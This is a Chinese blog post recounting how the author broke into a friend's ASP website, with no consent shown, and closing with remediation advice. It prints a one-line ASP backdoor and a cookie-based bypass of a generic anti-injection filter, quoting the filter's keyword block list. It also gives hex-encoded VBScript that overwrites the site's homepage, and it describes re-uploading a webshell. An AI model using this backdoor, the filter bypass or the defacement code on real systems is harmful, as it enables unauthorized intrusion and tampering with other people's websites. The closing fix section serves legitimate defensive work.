关于漏洞和WEB安全

我以前写过一篇文章《安全检测时发现的一些漏洞》,其中有一段就是针对的这种情况,我把它摘录过来,希望有用:

----------------------------------------------------------------------------------------------------------------------
三、通用防注入原来形同虚设

这是个很大的漏洞哦。

1、漏洞的发现

事情是这样的。我通过一些方法在朋友的网站上搞到一个webshell,然后又在某个页面上加了一句话后门:<%if request("qjgc")<>"" then execute request("qjgc")%>。后来朋友删了我的webshell,我就想利用这个一句话后门再写一个webshell进去。结果一提交就弹了个框框出来说我提交的数据非法,ip已记录。当时就郁闷了,忘了朋友用了通用防注入程序,也就是说我向一句话木马里提交的数据不能出现被通用防注入过滤掉的字符,否则就非法了。
现在回想一下,其实通用防注入里过滤掉的字符并不多,只是针对sql注入的过滤,我们完全可以构造一个上传“上传小马”的代码提交过去,然后再利用那个“上传小马”来上传大马(上传小马里面没有include那些讨厌的防注入代码,可以提交任意数据)。但是我当时就完全没有这样想,像是短路了一样以为被过滤得什么数据都提交不了了。
明知道有一句话木马却用不了,我很不甘心。突然我想到如果我用cookies来提交qjgc的值会怎样呢?于是打开MyBrowser实验了一下。
打开MyBrowser,然后随便访问朋友网站上的一个欣赏flash的动态页面:/flash_show.asp?id=20。接着把地址栏中的?id=20删了,在cookies里面写上:; id=20,然后刷新一下,页面没有变化。把cookies里的id=20改成id=19再刷新一下,发现flash变了一个。
这说明把url里的提交数据写进cookies里确实可行。现在来最重要的一步:把cookies改成id=20&#39;后刷新,并没有出现那个什么提交非法数据的提示!成功绕过了通用防注入程序!

2、漏洞的利用

既然如此,那我们就通过cookies把qjgc的值提交进去。这里要注意,通过cookies提交数据一定要转换成16进制,否则会出错的。我之前一直不成功就这个原因。
我们先来试试可不可以改他的主页。改主页的代码如下:
a="<script>window.alert(""千寂孤城又来啦!"")</script>":set fso=server.createObject("scripting.filesystemobject"):set file=fso.opentextfile("***index.asp",2,TRUE):file.write a :file.Close
随便打开一个16进制转换工具,把以上代码放进去转换,得到一串16进制代码:%61%3D%22%3C%73%63%72%69%70%74%3E……全部复制下来,然后打开MyBrowser,来到有一句话木马的页面,在cookies那里加上:; qjgc=%61%3D%22%3C%73%63%72%69%70%74%3E……刷新一下,没有出错,再到首页去看一看,首页已经成功被我们修改了。
接下来我又用此方法上传了一只asp马,webshell又回来了。

3、漏洞的原因

说实话到底为什么会成功我也不很清楚,我们先来看看通用防注入的代码:

<%

&#39;--------定义部份------------------
Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr
&#39;自定义需要过滤的字串,用 "|" 分隔
XH_In = "&#39;|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%

20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
&#39;----------------------------------
%>

<%
XH_Inf = split(XH_In,"|")
&#39;--------POST部份------------------

……针对表格提交数据的,我省略了。

&#39;----------------------------------

&#39;--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert(&#39;爪子!搞破坏所?此路不通&#39;);</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Next
Next
End If
&#39;----------------------------------
%>

  我的理解是cookies里的数据不属于Request.QueryString但是属于request,而asp页面中处理客户端提交的数据时一般写法是id=request("id")一类的语句,通用防注入只是针对Request.QueryString进行的过滤,所以就绕过了检查。

4、漏洞的修补

其实只要勤快点就好了,除了每个页面都把防注入代码include进去之外最好还是自己动手改改代码吧。比如把id=request("id")一类的语句改成id=Request.QueryString("id")。或者是在id=request("id")后面加上if isnumeric(id)=false then response.redirect "/error.htm"之类的语句,因为这种过滤方法是针对id变量本身的,就无论如何绕不过去了。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值